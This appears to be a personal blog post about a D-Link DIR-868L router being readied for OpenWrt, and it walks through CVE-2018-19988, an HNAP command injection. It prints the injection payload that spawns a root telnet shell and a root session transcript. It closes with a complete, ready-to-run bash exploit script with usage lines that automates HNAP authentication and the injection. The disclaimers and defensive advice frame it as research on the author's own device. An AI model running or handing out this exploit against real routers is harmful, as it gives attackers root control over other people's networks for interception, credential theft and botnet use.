Introduction
I’m working on porting OpenWrt to my old D-Link DIR-868L Rev B router. Before diving into the OpenWrt build process, I wanted to understand the device better by analyzing its firmware and security posture. What I discovered was both fascinating and concerning - this router is critically vulnerable to a well-known command injection exploit.
⚠️ Disclaimer: This research was conducted on my own device for educational purposes and as part of preparing for OpenWrt installation. All security testing shown here was authorized. Never test vulnerabilities on devices you don’t own.
The Device
- Model: D-Link DIR-868L Rev B
- Firmware: 2.03.B01 (April 19, 2015)
- SoC: Broadcom BCM47081 (ARM Cortex-A9)
- Status: End of Life, no security updates
CVE-2018-19988: Critical Command Injection
While analyzing the firmware, I discovered that this device is vulnerable to CVE-2018-19988, a critical OS command injection vulnerability with a CVSS score of 9.8/10.
Vulnerability Details
- Affected Component: HNAP (Home Network Administration Protocol)
- Vulnerable Endpoint:
/HNAP1/SetClientInfoDemo - Attack Vector: Command injection via SOAP XML parameters
- Impact: Complete device compromise with root access
How It Works
The vulnerability exists in the HNAP implementation, which processes SOAP XML requests without proper input sanitization. The AudioMute parameter is written directly to a shell script that executes with root privileges.
Here’s the attack flow:
<AudioMute>'`telnetd -l /bin/sh`'</AudioMute>
The single quotes break out of the intended wget command, and the backticks execute arbitrary commands as root.
The Exploitation Process
Phase 1: HNAP Authentication
D-Link’s HNAP uses a challenge-response authentication mechanism:
- Request Challenge: Send a request to
/HNAP1/withAction: request - Calculate Credentials:
PrivateKey = HMAC-MD5(PublicKey + Password, Challenge) LoginPassword = HMAC-MD5(PrivateKey, Challenge) - Authenticate: Send login request with calculated password
The authentication was straightforward to implement once I understood the HMAC-MD5 calculation and the specific header format required (HNAP_AUTH).
Phase 2: Command Injection
With authentication in place, I crafted a SOAP request to inject a telnet backdoor:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope>
<soap:Body>
<SetClientInfoDemo>
<ClientInfoLists>
<ClientInfo>
<MacAddress>11:22:33:44:55:66</MacAddress>
<SupportedAction>
<AudioMute>'`telnetd -l /bin/sh`'</AudioMute>
</SupportedAction>
</ClientInfo>
</ClientInfoLists>
</SetClientInfoDemo>
</soap:Body>
</soap:Envelope>
Response: <SetClientInfoDemoResult>OK</SetClientInfoDemoResult>
Phase 3: Root Shell Access
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
# id
uid=0(root) gid=0(root)
# uname -a
Linux DIR-868L 2.6.36.4brcmarm+ #1 SMP PREEMPT Sun Apr 19 15:24:40 CST 2015
Total time to compromise: ~4 minutes
What This Means
With root shell access, an attacker has complete control of the router:
- Network interception: Capture all traffic, perform MitM attacks
- Credential theft: Extract WiFi passwords, admin credentials
- Persistent backdoor: Survive reboots, modify firmware
- Lateral movement: Attack other devices on the network
- Botnet recruitment: Install malware (Mirai, etc.)
The Vulnerable Code
After extracting the firmware (12.5 MB SquashFS filesystem), I found the vulnerable HNAP templates and handlers:
/htdocs/web/hnap/SetClientInfoDemo.xml # Vulnerable endpoint
/htdocs/HNAP1/ # HNAP handlers
/var/run/SetClientInfoDemo.sh # Generated script (at runtime)
The root cause is insufficient input validation:
- No sanitization of user input
- No escaping of shell metacharacters
- HNAP parameters written directly to shell scripts
- Scripts executed with root privileges
Why OpenWrt?
This vulnerability (and several others in the same device) is the primary reason I’m replacing the stock firmware with OpenWrt:
- No security updates: Device is from 2015, firmware last updated 9+ years ago
- Multiple CVEs: CVE-2018-19986 through CVE-2018-19990 affect this device
- Insecure by design: HNAP implementation is fundamentally flawed
- Active development: OpenWrt receives regular security updates
The Complete Exploit Script
Here’s the full working exploit I developed to demonstrate the vulnerability. This script automates the entire attack chain:
#!/bin/bash
# D-Link CVE-2018-19988 - Enable Telnet Proof of Concept
# FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY
TARGET="${1:-192.168.0.1}"
PASSWORD="${2}"
if [ -z "$PASSWORD" ]; then
echo "Usage: $0 <target> <admin_password>"
exit 1
fi
# Helper function to calculate HMAC-MD5
hmac_md5() {
local key="$1"
local data="$2"
echo -n "$data" | openssl dgst -md5 -hmac "$key" | awk '{print $2}'
}
# Step 1: Request Challenge
cat > /tmp/hnap_login_req.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>request</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>
EOF
LOGIN_RESPONSE=$(curl -s -X POST \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" \
--data @/tmp/hnap_login_req.xml \
"http://$TARGET/HNAP1/")
CHALLENGE=$(echo "$LOGIN_RESPONSE" | grep -oP '<Challenge>\K[^<]+' | head -1)
COOKIE=$(echo "$LOGIN_RESPONSE" | grep -oP '<Cookie>\K[^<]+' | head -1)
PUBLIC_KEY=$(echo "$LOGIN_RESPONSE" | grep -oP '<PublicKey>\K[^<]+' | head -1)
# Step 2: Calculate credentials and authenticate
PRIVATE_KEY=$(hmac_md5 "${PUBLIC_KEY}${PASSWORD}" "$CHALLENGE" | tr '[:lower:]' '[:upper:]')
LOGIN_PASSWORD=$(hmac_md5 "$PRIVATE_KEY" "$CHALLENGE" | tr '[:lower:]' '[:upper:]')
cat > /tmp/hnap_login_do.xml << EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username>
<LoginPassword>$LOGIN_PASSWORD</LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>
EOF
AUTH_RESPONSE=$(curl -s -X POST \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" \
-H "Cookie: uid=$COOKIE" \
--data @/tmp/hnap_login_do.xml \
"http://$TARGET/HNAP1/")
echo "[+] Authenticated successfully"
# Step 3: Execute command injection
CURRENT_TIME=$(date +%s)
CURRENT_TIME=$((CURRENT_TIME % 2000000000))
SOAP_ACTION='"http://purenetworks.com/HNAP1/SetClientInfoDemo"'
AUTH_HASH=$(hmac_md5 "$PRIVATE_KEY" "${CURRENT_TIME}${SOAP_ACTION}")
AUTH_HASH_CHANGED=$(echo "$AUTH_HASH" | sed 'y/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/')
HNAP_AUTH="${AUTH_HASH_CHANGED} ${CURRENT_TIME}"
cat > /tmp/hnap_exploit.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetClientInfoDemo xmlns="http://purenetworks.com/HNAP1/">
<ClientInfoLists>
<ClientInfo>
<MacAddress>11:22:33:44:55:66</MacAddress>
<NickName>test</NickName>
<ReserveIP>192.168.0.100</ReserveIP>
<SupportedAction>
<AudioMute>'`telnetd -l /bin/sh`'</AudioMute>
<AudioEnable>0</AudioEnable>
<SmartPlugEnable>0</SmartPlugEnable>
<ZWaveSmartPlug>0</ZWaveSmartPlug>
</SupportedAction>
</ClientInfo>
</ClientInfoLists>
</SetClientInfoDemo>
</soap:Body>
</soap:Envelope>
EOF
EXPLOIT_RESPONSE=$(curl -s -X POST \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: $SOAP_ACTION" \
-H "HNAP_AUTH: $HNAP_AUTH" \
-H "Cookie: uid=$COOKIE" \
--data @/tmp/hnap_exploit.xml \
"http://$TARGET/HNAP1/")
if echo "$EXPLOIT_RESPONSE" | grep -qi "SetClientInfoDemoResult.*OK"; then
echo "[+] Command injection successful!"
echo "[+] Telnet enabled on port 23 - connect with: telnet $TARGET"
fi
# Cleanup
rm -f /tmp/hnap_*.xml
Key Implementation Details
The exploit has three critical components:
- HMAC-MD5 Authentication: The
HNAP_AUTHheader requires case-swapped HMAC-MD5 hash - Timing: The auth hash includes current timestamp modulo 2000000000
- Payload: The backtick syntax
'`command`'breaks out of wget and executes arbitrary commands
Usage:
./exploit.sh 192.168.0.1 your_admin_password
telnet 192.168.0.1 # Root shell access
Lessons Learned
For Security Researchers
- HNAP authentication is tricky: The HMAC-MD5 calculation requires exact format matching and case swapping
- Challenge-response: Understanding the auth flow is critical before exploitation
- Read the firmware: Static analysis of extracted firmware reveals vulnerable code patterns
- Real-world impact: This isn’t theoretical - it’s a 4-minute root compromise
For Users
- Old routers are dangerous: 9-year-old firmware without updates is a ticking time bomb
- Disable remote management: Reduces attack surface significantly
- Use strong passwords: Even with vulnerabilities, authentication is still a barrier
- Consider custom firmware: OpenWrt, DD-WRT can extend device life securely
- Defense in depth: No single mitigation is enough - layer your security
References
All security research was conducted on devices I own, for educational and authorized testing purposes only.